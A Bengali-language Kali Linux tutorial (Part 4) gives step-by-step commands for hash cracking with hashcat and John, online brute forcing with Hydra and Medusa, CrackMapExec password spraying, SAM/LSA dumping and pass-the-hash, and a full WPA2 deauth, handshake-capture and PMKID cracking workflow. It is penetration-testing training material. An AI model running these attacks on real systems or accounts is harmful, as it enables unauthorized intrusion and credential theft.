KALI LINUX SERIES

Kali Linux — Part 4

Password Attacks & Wireless Hacking — সম্পূর্ণ বাংলা গাইড

Hashcat, John the Ripper, Hydra, Medusa, CrackMapExec — Password Cracking এবং Aircrack-ng, Airmon-ng, Airodump-ng, Aireplay-ng — WiFi Hacking-এর সম্পূর্ণ command reference।

```
root@kali:~# hashcat -m 0 hashes.txt
/usr/share/wordlists/rockyou.txt
root@kali:~# airmon-ng start wlan0
root@kali:~# airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w
capture wlan0mon
```

⚡ Hashcat | 🔨 John the Ripper | 🐉 Hydra | 🦅 Medusa | 🗺️ CrackMapExec | 📡 Airmon-ng | 📻 Airodump-ng | 💥 Aireplay-ng

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rockyou.txt, SecLists, hashid, hash-identifier, crunch

CHAPTER 01

⚡ Hashcat — GPU-powered Hash Cracker

World-এর দ্রুততম password cracker — GPU ব্যবহার করে billion হাশ প্রতি সেকেন্ডে crack করতে পারে

hashcat

GPU-accelerated password recovery tool — MD5, SHA, NTLM, WPA2 সহ ৩০০+ hash type support করে

Hash Crack GPU-powered Brute Force

⚙ Core Syntax ও Flags

Flag	কাজ	উদাহরণ
`-m [type]`	Hash type specify করো (নিচে দেখো)	`-m 0 (MD5), -m 1000 (NTLM)`
`-a [mode]`	Attack mode specify করো (নিচে দেখো)	`-a 0 (wordlist), -a 3 (brute)`
`-o file.txt`	Cracked password output file-এ save করো	`-o cracked.txt`
`--show`	আগে crack হওয়া result দেখাও	`hashcat -m 0 hashes.txt --show`
`--force`	Warning ignore করে force চালাও	`--force`
`-r rule.rule`	Rule file apply করো	`-r /usr/share/hashcat/rules/best64.rule`
`--username`	user:hash format-এর file handle করো	`--username`
`-w [1-4]`	Workload profile (1=low, 4=nightmare)	`-w 3`
`--status`	Cracking status দেখাও (real-time)	`--status`
`--restore`	আগে বন্ধ করা session restore করো	`hashcat --restore`
`--session name`	Session-এর নাম দাও (resume করার জন্য)	`--session mysession`
`--increment`	Mask length আস্তে আস্তে বাড়াও	`--increment --increment-min=4`
`-D 1,2`	Device type select করো (1=CPU, 2=GPU)	`-D 2`

Flag	কাজ	উদাহরণ
`--benchmark`	GPU/CPU speed benchmark দেখাও	`hashcat --benchmark`

🎯 Attack Modes (-a)

Mode	নাম	বিবরণ	উদাহরণ
-a 0	Wordlist	Dictionary থেকে একে একে try করো	`hashcat -m 0 -a 0 hash.txt rockyou.txt`
-a 1	Combination	দুটো wordlist combine করো	`hashcat -m 0 -a 1 hash.txt w1.txt w2.txt`
-a 3	Brute Force / Mask	Mask pattern দিয়ে সব combination try	`hashcat -m 0 -a 3 hash.txt ?a?a?a?a`
-a 6	Wordlist + Mask	Wordlist-এর পরে mask যোগ করো	`hashcat -m 0 -a 6 hash.txt words.txt ?d?d`
-a 7	Mask + Wordlist	Mask-এর পরে wordlist যোগ করো	`hashcat -m 0 -a 7 hash.txt ?d?d words.txt`

🎭 Mask Characters — Brute Force Pattern

Character	মানে
`?l`	lowercase a-z
`?u`	uppercase A-Z
`?d`	digits 0-9
`?s`	special characters (!@#$...)
`?a`	?l + ?u + ?d + ?s (সব)
`?b`	0x00 - 0xff (binary)

```
# 8 character password (সব lowercase) ?l?l?l?l?l?l?l?l # 6 char — uppercase + digit শেষে ?u?l?l?l?l?d # Password1! style (common pattern) ?u?l?l?l?l?l?l?d?s # 4-8 char সব combination --increment
```

```
--increment-min=4 --increment-max=8 ?a?a?a?a?a?a?a?a
```

🏷️ Hash Types (-m) — সবচেয়ে Common

-m value	Hash Type	উদাহরণ hash	ব্যবহার
0	MD5	5f4dcc3b5aa765d61d8327deb882cf99	Web apps, old systems
100	SHA1	5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8	Git, old systems
1400	SHA256	5e884898da2847151d0e56f8dc6292...	Linux /etc/shadow
1700	SHA512	b109f3bbbc244eb82441917ed06d618...	Modern Linux
1000	NTLM	8846f7eaee8fb117ad06bdd830b7586c	Windows SAM/AD
3000	LM	299bd128c1101fd6	Old Windows (XP)
5600	NetNTLMv2	admin::N46iSNekpT:...	Responder capture
3200	bcrypt	$2a$10$N9qo8uLOickgx2ZMRZo...	Modern web apps
500	md5crypt	1salt$hash	Old Linux
1800	sha512crypt	6salt$hash	Modern Linux /etc/shadow
2500	WPA/WPA2	.hccapx file	WiFi handshake
22000	WPA-PBKDF2-PMKID+EAPOL	.hc22000 file	Modern WiFi crack
13100	Kerberoast	$krb5tgs$23$*user$...	Active Directory
18200	AS-REP Roast	$krb5asrep$23$...	Active Directory
400	WordPress (phpass)	PB...	WordPress
1500	DES (Unix)	rEK1ecacw.7.c	Very old Unix

```
# MD5 wordlist attack root@kali:~# hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt #
NTLM (Windows) crack root@kali:~# hashcat -m 1000 -a 0 ntlm.txt /usr/share/wordlists/rockyou.txt #
SHA256 + rules (best64) root@kali:~# hashcat -m 1400 -a 0 sha256.txt rockyou.txt -r
```

```
/usr/share/hashcat/rules/best64.rule # Brute force — 8 char সব lowercase+digit root@kali:~#
hashcat -m 0 -a 3 hash.txt ?l?l?l?l?d?d?d?d # bcrypt crack (ধীর — GPU recommended) root@kali:~#
hashcat -m 3200 -a 0 bcrypt.txt rockyou.txt -w 3 # WPA2 crack (handshake file) root@kali:~#
hashcat -m 22000 -a 0 capture.hc22000 rockyou.txt # Combination attack (word1+word2) root@kali:~#
hashcat -m 0 -a 1 hash.txt words1.txt words2.txt # Password + 2 digits (wordlist + mask)
root@kali:~# hashcat -m 0 -a 6 hash.txt rockyou.txt ?d?d # NetNTLMv2 (Responder থেকে capture)
root@kali:~# hashcat -m 5600 -a 0 netntlmv2.txt rockyou.txt # Kerberoast (AD attack) root@kali:~#
hashcat -m 13100 -a 0 kerb.txt rockyou.txt # Result দেখাও root@kali:~# hashcat -m 0 hashes.txt --
show
```

CHAPTER 02

🔨 John the Ripper — Classic Password Cracker

CPU-based classic cracker — Linux shadow, ZIP, SSH key, PDF crack করতে পারে

john

Openwall-এর তৈরি classic password cracker — file format auto-detect করে, built-in wordlist ও rules আছে

Hash Crack CPU-based File Crack

⚙ Core Commands

Flag / Command	কাজ	উদাহরণ
`john hash.txt`	Default mode-এ crack করো (format auto-detect)	`john hashes.txt`
`--wordlist=file`	Wordlist দিয়ে crack করো	`--wordlist=/usr/share/wordlists/rockyou.txt`
`--format=type`	Hash format manually specify করো	`--format=NT, --format=md5crypt`
`--rules`	Default rules apply করো (wordlist মোড)	`john hash.txt --wordlist=rk.txt --rules`
`--rules=Jumbo`	Jumbo rules apply করো (বেশি variation)	`--rules=Jumbo`
`--incremental`	Incremental mode — সব combination try করো	`john hash.txt --incremental`
`--incremental=Digits`	শুধু digit combination try করো	`--incremental=Digits`
`--show`	Cracked password দেখাও	`john hash.txt --show`
`--pot=file`	Custom pot file ব্যবহার করো	`--pot=my.pot`
`--list=formats`	সব supported format দেখাও	`john --list=formats`
`--fork=N`	N টি process parallel চালাও	`--fork=4`
`--session=name`	Session নাম দাও (resume করার জন্য)	`--session=crack1`
`--restore=name`	বন্ধ করা session resume করো	`--restore=crack1`

Flag / Command	কাজ	উদাহরণ
`--status`	Current cracking status দেখাও	`john --status`

📁 File Cracking — ZIP, SSH, PDF, etc.

💡 John-এর Helper Scripts

John-এ অনেক `*2john` script আছে যেগুলো বিভিন্ন file থেকে hash extract করে John-এর জন্য ready করে। Kali-তে `/usr/share/john/` এ পাবে।

File Type	Hash Extract Command	Crack Command
ZIP	`zip2john secret.zip > zip.hash`	`john zip.hash --wordlist=rockyou.txt`
RAR	`rar2john secret.rar > rar.hash`	`john rar.hash --wordlist=rockyou.txt`
SSH Key	`ssh2john id_rsa > ssh.hash`	`john ssh.hash --wordlist=rockyou.txt`
PDF	`pdf2john doc.pdf > pdf.hash`	`john pdf.hash --wordlist=rockyou.txt`
Linux Shadow	`unshadow /etc/passwd /etc/shadow > unshadowed.txt`	`john unshadowed.txt --wordlist=rockyou.txt`
KeePass	`keepass2john database.kdbx > kp.hash`	`john kp.hash --wordlist=rockyou.txt`
7z	`7z2john archive.7z > 7z.hash`	`john 7z.hash --wordlist=rockyou.txt`
Office	`office2john doc.docx > office.hash`	`john office.hash --wordlist=rockyou.txt`
Wifi	`hccap2john capture.hccapx > wpa.hash`	`john wpa.hash --wordlist=rockyou.txt`

```
# Linux shadow file crack (সবচেয়ে common) root@kali:~# unshadow /etc/passwd /etc/shadow >
unshadowed.txt root@kali:~# john unshadowed.txt --wordlist=/usr/share/wordlists/rockyou.txt # ZIP
password crack root@kali:~# zip2john secret.zip > zip_hash.txt root@kali:~# john zip_hash.txt --
wordlist=/usr/share/wordlists/rockyou.txt # SSH private key crack (password-protected)
root@kali:~# ssh2john id_rsa > ssh_hash.txt root@kali:~# john ssh_hash.txt --
wordlist=/usr/share/wordlists/rockyou.txt # NTLM (Windows) hash crack root@kali:~# john ntlm.txt -
-format=NT --wordlist=/usr/share/wordlists/rockyou.txt # Rules সহ (password variation বাড়ায়)
root@kali:~# john hashes.txt --wordlist=rockyou.txt --rules=Jumbo # Cracked passwords দেখাও
```

```
root@kali:~# john hashes.txt --show # Incremental mode (সব combination) root@kali:~# john
hashes.txt --incremental --format=MD5 # Supported formats list root@kali:~# john --list=formats |
grep -i md5
```

CHAPTER 03

Hydra — Online Brute Force Tool

Live service-এ credential brute force — SSH, FTP, HTTP, SMTP, SMB, RDP সব protocol support করে

hydra

Fast ও flexible online password cracker — ৫০+ protocol support, parallel attack করে

Brute Force Online Attack Multi-Protocol

Core Flags

Flag	কাজ	উদাহরণ
`-l username`	Single username specify করো	`-l admin`
`-L userlist.txt`	Username list file দাও	`-L users.txt`
`-p password`	Single password specify করো	`-p password123`
`-P passlist.txt`	Password list file দাও	`-P /usr/share/wordlists/rockyou.txt`
`-C combo.txt`	user:pass combination file দাও	`-C credentials.txt`
`-t threads`	Parallel thread count (default: 16)	`-t 32`
`-s port`	Custom port specify করো	`-s 2222`
`-v`	Verbose mode — প্রতিটি attempt দেখাও	`-v`
`-V`	Extra verbose — login+password দেখাও	`-V`
`-d`	Debug mode	`-d`
`-o file`	Found credentials file-এ save করো	`-o found.txt`
`-e nsr`	n=null, s=same as login, r=reversed login try করো	`-e nsr`
`-W seconds`	Request-এর মধ্যে wait time (rate limit bypass)	`-W 3`

Flag	কাজ	উদাহরণ
`-x min:max:charset`	Password generation করো (brute force mode)	`-x 4:8:a`
`-R`	বন্ধ করা session resume করো	`-R`
`-S`	SSL connection ব্যবহার করো	`-S`

🌐 Protocol-specific Commands

🔐 SSH

```
# SSH brute force — username fixed root@kali:~# hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.5 # SSH — user list + password list root@kali:~# hydra -L users.txt -P passwords.txt 192.168.1.5 ssh # Custom port SSH root@kali:~# hydra -l admin -P rockyou.txt -s 2222 192.168.1.5 ssh -t 4
```

📂 FTP

```
# FTP brute force root@kali:~# hydra -l admin -P rockyou.txt ftp://192.168.1.5 # FTP anonymous check root@kali:~# hydra -l anonymous -p anonymous 192.168.1.5 ftp
```

🌐 HTTP Form Brute Force

```
# HTTP POST form brute force (সবচেয়ে common) # Format: hydra -l user -P pass target http-post-form "/path:user=^USER^&pass=^PASS^:error_string" root@kali:~# hydra -l admin -P rockyou.txt 192.168.1.5 http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials" # HTTP GET form root@kali:~# hydra -l admin -P rockyou.txt 192.168.1.5 http-get-form "/login:user=^USER^&pass=^PASS^:F=incorrect" # HTTP Basic Auth root@kali:~# hydra -l admin -P rockyou.txt http-get://192.168.1.5/admin # HTTPS form root@kali:~# hydra -l admin -P rockyou.txt 192.168.1.5 https-post-form "/login:user=^USER^&pass=^PASS^:error"
```

💻 SMB, RDP, Other Protocols

```
# SMB brute force (Windows) root@kali:~# hydra -l administrator -P rockyou.txt smb://192.168.1.5 # RDP brute force root@kali:~# hydra -l administrator -P rockyou.txt rdp://192.168.1.5 -t 4 # MySQL brute force root@kali:~# hydra -l root -P rockyou.txt mysql://192.168.1.5 # PostgreSQL brute force
```

```
root@kali:~# hydra -l postgres -P rockyou.txt postgres://192.168.1.5 # SMTP brute force
root@kali:~# hydra -l user@target.com -P rockyou.txt smtp://192.168.1.5 # Telnet brute force
root@kali:~# hydra -l admin -P rockyou.txt telnet://192.168.1.5 # VNC brute force root@kali:~#
hydra -P rockyou.txt vnc://192.168.1.5 # IMAP brute force root@kali:~# hydra -l admin -P
rockyou.txt imap://192.168.1.5 # Result file-এ save করো root@kali:~# hydra -L users.txt -P
rockyou.txt 192.168.1.5 ssh -o found_creds.txt -t 16 -V
```

CHAPTER 04

Medusa & CrackMapExec

Parallel brute force ও network-wide credential testing

medusa

Hydra-র alternative — highly parallel, modular login brute-forcer। Multiple host একসাথে attack করতে পারে।

Parallel Brute Multi-host

Medusa — Core Flags

Flag	কাজ	উদাহরণ
`-h host`	Target host specify করো	`-h 192.168.1.5`
`-H hosts.txt`	Multiple hosts file দাও	`-H hosts.txt`
`-u username`	Single username	`-u admin`
`-U users.txt`	Username list file	`-U users.txt`
`-p password`	Single password	`-p password123`
`-P passlist.txt`	Password list file	`-P rockyou.txt`
`-M module`	Protocol module specify করো	`-M ssh, -M ftp, -M http`
`-n port`	Custom port	`-n 2222`
`-t threads`	Threads per host	`-t 4`
`-T hosts`	Parallel host count	`-T 10`
`-O file`	Output file-এ save করো	`-O medusa_out.txt`
`-v level`	Verbose level (0-6)	`-v 6`

```
# SSH brute force root@kali:~# medusa -h 192.168.1.5 -u root -P rockyou.txt -M ssh # Multiple hosts একসাথে root@kali:~# medusa -H hosts.txt -u admin -P rockyou.txt -M ftp -T 10 -t 4 # HTTP form brute force root@kali:~# medusa -h 192.168.1.5 -u admin -P rockyou.txt -M http -m DIR:/admin -m FORM:user=^USER^&pass=^PASS^ # Module list দেখাও root@kali:~# medusa -d
```

crackmapexec / cme

Network-wide credential testing ও post-exploitation — SMB, WinRM, LDAP, SSH একসাথে attack করো

Network Sweep Credential Test AD Attack

CrackMapExec — Commands

কমান্ড	কাজ
`cme smb 192.168.1.0/24`	Subnet-এ সব SMB host discover করো
`cme smb target -u user -p pass`	Single credential দিয়ে login test করো
`cme smb target -u users.txt -p pass`	User list দিয়ে password spray করো
`cme smb target -u user -p pass --shares`	SMB shares enumerate করো
`cme smb target -u user -p pass --sam`	SAM database dump করো
`cme smb target -u user -p pass --lsa`	LSA secrets dump করো
`cme smb target -u user -p pass -x "whoami"`	Remote command execute করো (cmd)
`cme smb target -u user -p pass -X "Get-Process"`	PowerShell command execute করো
`cme smb target -u user -H hash`	Pass-the-Hash attack করো
`cme smb target -u user -p pass --users`	Domain users enumerate করো
`cme smb target -u user -p pass --groups`	Domain groups enumerate করো
`cme winrm target -u user -p pass`	WinRM login test করো
`cme ssh target -u user -p pass`	SSH login test করো
`cme ldap target -u user -p pass`	LDAP query করো (AD)

```
# Subnet discovery root@kali:~# cme smb 192.168.1.0/24 # Credential validate করো root@kali:~# cme smb 192.168.1.5 -u administrator -p 'P@ssword123' # Password spray (একটি password সব user-এ) root@kali:~# cme smb 192.168.1.5 -u users.txt -p 'Password123' --continue-on-success # Hash dump root@kali:~# cme smb 192.168.1.5 -u admin -p pass --sam # Pass-the-Hash root@kali:~# cme smb 192.168.1.5 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0' # Remote command execute করো root@kali:~# cme smb 192.168.1.5 -u admin -p pass -x "ipconfig /all"
```

CHAPTER 05

📡 WiFi Hacking — Aircrack-ng Suite

WPA2 handshake capture থেকে password crack পর্যন্ত — সম্পূর্ণ WiFi hacking workflow

📡 WiFi Hacking-এ কী কী Tool দরকার?

Aircrack-ng Suite-এ চারটি প্রধান tool আছে: **airmon-ng** (monitor mode), **airodump-ng** (capture), **aireplay-ng** (attack/deauth), **aircrack-ng** (crack)। এছাড়া WiFi adapter-এ monitor mode support থাকতে হবে।

```
WiFi Hacking Workflow:

Step 1: airmon-ng start wlan0          → Monitor mode চালু
          ↓
Step 2: airodump-ng wlan0mon            → Networks scan করো
          ↓
Step 3: airodump-ng -c [CH] --bssid [MAC] -w capture wlan0mon  → Handshake capture
          ↓
Step 4: aireplay-ng --deauth 10 -a [BSSID] wlan0mon  → Client disconnect করো
          ↓
Step 5: WPA handshake captured! (capture.cap file)
          ↓
Step 6: aircrack-ng -w rockyou.txt capture.cap  → Password crack করো
```

📻 airmon-ng — Monitor Mode

airmon-ng

WiFi adapter-কে Monitor Mode-এ রাখো — সব wireless traffic capture করার জন্য

Monitor Mode

কমান্ড	কাজ
`airmon-ng`	Available wireless interfaces দেখাও

কমান্ড	কাজ
`airmon-ng check`	Interfering processes দেখাও
`airmon-ng check kill`	Interfering processes kill করো (NetworkManager ইত্যাদি)
`airmon-ng start wlan0`	wlan0-তে monitor mode চালু করো → wlan0mon তৈরি হবে
`airmon-ng start wlan0 6`	নির্দিষ্ট channel-এ monitor mode চালু করো
`airmon-ng stop wlan0mon`	Monitor mode বন্ধ করো
`iwconfig`	Interface mode verify করো (Mode:Monitor দেখাবে)

📡 airodump-ng — Packet Capture

airodump-ng

WiFi networks scan করো ও WPA handshake capture করো

Packet Capture

Flag	কাজ	উদাহরণ
`airodump-ng wlan0mon`	সব nearby networks দেখাও (scan)	`airodump-ng wlan0mon`
`-c channel`	নির্দিষ্ট channel lock করো	`-c 6`
`--bssid MAC`	Target AP-এর MAC address specify করো	`--bssid AA:BB:CC:DD:EE:FF`
`-w filename`	Capture file-এ save করো	`-w capture`
`--output-format`	Output format specify করো (pcap, csv, kismet)	`--output-format pcap`
`--band abg`	Band specify করো (2.4GHz=bg, 5GHz=a)	`--band abg`
`--wps`	WPS-enabled networks দেখাও	`--wps`
`--encrypt WPA`	শুধু WPA networks filter করো	`--encrypt WPA`

💥 aireplay-ng — Injection & Deauth Attack

aireplay-ng

Deauthentication attack দিয়ে client disconnect করো — WPA handshake capture করার জন্য

Deauth Attack

Flag / Attack	কাজ	উদাহরণ
`--deauth N -a BSSID`	AP-এর সব client-কে N packets deauth করো	`--deauth 10 -a AA:BB:CC:DD:EE:FF`
`--deauth N -a BSSID -c CLIENT`	নির্দিষ্ট client-কে deauth করো	`--deauth 10 -a AP_MAC -c CLIENT_MAC`
`--deauth 0`	Continuous deauth (0 = infinite)	`--deauth 0 -a BSSID`
`--fakeauth 0 -a BSSID`	Fake authentication (WEP attack)	`--fakeauth 0 -a BSSID -h OWN_MAC`
`--arpreplay -b BSSID`	ARP replay attack (WEP attack)	`--arpreplay -b BSSID -h MAC`
`--test`	Injection test করো	`aireplay-ng --test wlan0mon`

aircrack-ng — WPA2 Password Crack

aircrack-ng

Captured handshake থেকে WPA2 password crack করো

Password Crack

Flag	কাজ	উদাহরণ
`aircrack-ng capture.cap`	Capture file analyze করো (handshake আছে কিনা)	`aircrack-ng capture-01.cap`
`-w wordlist.txt`	Wordlist দিয়ে crack করো	`-w /usr/share/wordlists/rockyou.txt`
`-b BSSID`	নির্দিষ্ট AP target করো	`-b AA:BB:CC:DD:EE:FF`
`-e ESSID`	Network name (SSID) specify করো	`-e "HomeNetwork"`
`-l output.txt`	Cracked key file-এ save করো	`-l cracked_key.txt`

সম্পূর্ণ WPA2 Crack Workflow

```
═══ Step 1: Interfering process বন্ধ করো ═══ root@kali:~# airmon-ng check kill ═══ Step 2: Monitor mode চালু করো ═══ root@kali:~# airmon-ng start wlan0 [*] Interface wlan0mon created ═══ Step 3: Network scan করো — Target খোঁজো ═══ root@kali:~# airodump-ng wlan0mon # BSSID, CH (channel), ESSID (name) note করো ═══ Step 4: Target-এ focused capture শুরু করো ═══ root@kali:~# airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon # এই terminal খোলা রাখো! Handshake capture হওয়া পর্যন্ত ═══ Step 5: নতুন terminal-এ deauth attack ═══ root@kali:~# aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon # Client disconnect হলে reconnect করবে → handshake capture হবে # airodump-ng terminal-এ "WPA handshake: AA:BB:CC:DD:EE:FF" দেখাবে ═══ Step 6: Capture verify করো ═══ root@kali:~# aircrack-ng capture-01.cap ═══ Step 7: Password crack করো ═══ root@kali:~# aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF capture-01.cap ═══ (Optional) Hashcat দিয়ে দ্রুত crack করো ═══ # .cap → .hc22000 convert করো root@kali:~# hcxpcapngtool -o capture.hc22000 capture-01.cap root@kali:~# hashcat -m 22000 capture.hc22000 /usr/share/wordlists/rockyou.txt ═══ Step 8: Monitor mode বন্ধ করো ═══ root@kali:~# airmon-ng stop wlan0mon root@kali:~# service NetworkManager start
```

📱 PMKID Attack — Client ছাড়াই WPA2 Crack

```
# hcxdumptool দিয়ে PMKID capture করো (client দরকার নেই) root@kali:~# hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1 # Convert করো root@kali:~# hcxpcapngtool -o hash.hc22000 pmkid.pcapng # Hashcat দিয়ে crack করো root@kali:~# hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
```

CHAPTER 06

🏷️ Hash Identification — কোন Hash কোনটা?

Hash দেখে type চেনো — hashid ও hash-identifier tool ব্যবহার করো

🔧 Hash Identification Tools

```
# hashid — সবচেয়ে ভালো tool root@kali:~# hashid '5f4dcc3b5aa765d61d8327deb882cf99' [+] MD2 [+] MD5 [+] MD4 # hashid — Hashcat mode সহ দেখাও (-m flag) root@kali:~# hashid -m '5f4dcc3b5aa765d61d8327deb882cf99' [+] MD5 [Hashcat Mode: 0] # hashid — file থেকে সব hash identify করো root@kali:~# hashid -m hashes.txt # hash-identifier (interactive) root@kali:~# hash-identifier #### Enter Hash: 5f4dcc3b5aa765d61d8327deb882cf99 HASH: MD5
```

🔑 Hash চেনার Quick Reference

Hash দেখতে এরকম	Type	Hashcat -m
`5f4dcc3b5aa765d61d8327deb882cf99` (32 chars)	MD5	0
`5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8` (40 chars)	SHA1	100
`5e884898da28...` (64 chars)	SHA256	1400
`b109f3bbbc244eb82441917...` (128 chars)	SHA512	1700
`8846f7eaee8fb117ad06bdd830b7586c` (32 chars, Windows)	NTLM	1000
`$1$salt$hash`	MD5crypt (Linux)	500
`$2a$10$...` বা `$2y$...`	bcrypt	3200
`$5$salt$hash`	SHA256crypt (Linux)	7400
`$6$salt$hash`	SHA512crypt (Linux)	1800
`$P$B...` (WordPress)	phpass	400

Hash দেখতে এরকম	Type	Hashcat -m
`admin::N46iSNek:...`	NetNTLMv2	5600
`$krb5tgs$23$...`	Kerberoast	13100

CHAPTER 07

📚 Wordlist ও Password Generation

Best wordlists, crunch দিয়ে custom wordlist তৈরি, cewl দিয়ে website থেকে wordlist

📂 Kali-তে Built-in Wordlists

Path	Size	ব্যবহার
`/usr/share/wordlists/rockyou.txt`	14M passwords	Password cracking (সবচেয়ে popular)
`/usr/share/wordlists/dirb/common.txt`	4,614 words	Directory brute force (fast)
`/usr/share/wordlists/dirb/big.txt`	20,469 words	Directory brute force (thorough)
`/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt`	220,560	Web directory (comprehensive)
`/usr/share/seclists/`	Massive	Everything (install: apt install seclists)
`/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt`	1000	Quick password test
`/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt`	5000	Subdomain brute force
`/usr/share/seclists/Discovery/Web-Content/raft-large-words.txt`	119k	Large web content discovery

🔧 crunch — Custom Wordlist Generator

Flag	কাজ	উদাহরণ
`crunch min max`	min থেকে max length পর্যন্ত সব word generate	`crunch 4 6`

Flag	কাজ	উদাহরণ
`crunch min max charset`	নির্দিষ্ট character set দিয়ে generate	`crunch 4 4 abc123`
`-o file`	File-এ save করো	`-o wordlist.txt`
`-t pattern`	Pattern দিয়ে generate (@ lowercase, , uppercase, % digit, ^ special)	`-t admin@@@`
`-b size`	File size limit per file	`-b 100mb`
`-d count`	Duplicate consecutive character limit	`-d 2`

```
# 6-8 char lowercase wordlist root@kali:~# crunch 6 8 abcdefghijklmnopqrstuvwxyz -o lowercase.txt
# Pattern: admin + 3 digits root@kali:~# crunch 8 8 -t admin%%% -o admin_pass.txt # Uppercase +
digit শুরুতে ও শেষে root@kali:~# crunch 8 8 -t ,@@@@@% -o complex.txt # Phone number format
(Bangladesh: 01XXXXXXXXX) root@kali:~# crunch 11 11 -t 01%%%%%%%%% -o bd_phones.txt
```

🌐 CeWL — Website থেকে Wordlist তৈরি

Flag	কাজ	উদাহরণ
`cewl http://target.com`	Website থেকে unique words collect করো	`cewl http://target.com`
`-d depth`	Crawl depth সেট করো (default: 2)	`-d 3`
`-m length`	Minimum word length সেট করো	`-m 6`
`-w file`	Output file-এ save করো	`-w cewl_list.txt`
`--email`	Email addresses-ও collect করো	`--email`
`-v`	Verbose output	`-v`

```
# Website থেকে wordlist তৈরি করো (min 6 char, depth 3) root@kali:~# cewl http://target.com -d 3 -m
6 -w target_wordlist.txt # Email সহ collect করো root@kali:~# cewl http://target.com --email -w
target_full.txt # তারপর John দিয়ে crack করো root@kali:~# john hashes.txt --
wordlist=target_wordlist.txt --rules
```

🔑 Password Attack Strategy — সঠিক পদ্ধতি

- 1️⃣ **Hash Identify:** আগে hashid দিয়ে hash type চেনো → Hashcat -m value জেনে নাও
- 2️⃣ **Quick Win:** rockyou.txt দিয়ে wordlist attack করো আগে
- 3️⃣ **Rules:** best64.rule বা Jumbo rules দিয়ে variation বাড়াও
- 4️⃣ **Mask:** Pattern জানা থাকলে mask attack করো (দ্রুত)
- 5️⃣ **CeWL:** Target-specific password list তৈরি করো
- 6️⃣ **Brute Force:** শেষ উপায় হিসেবে brute force — অনেক সময় লাগবে

🔑 "A strong password is your first line of defense — and often the last thing standing between an attacker and your data."

সব কিছু authorized environment-এ practice করো। অন্যের WiFi বা system-এ attack করা সম্পূর্ণ illegal।

Kali Linux Series — Part 4 | v1.0 | Password Attacks & Wireless

Part 5: Post-Exploitation & Forensics (Netcat, LinPEAS, Volatility, Autopsy) →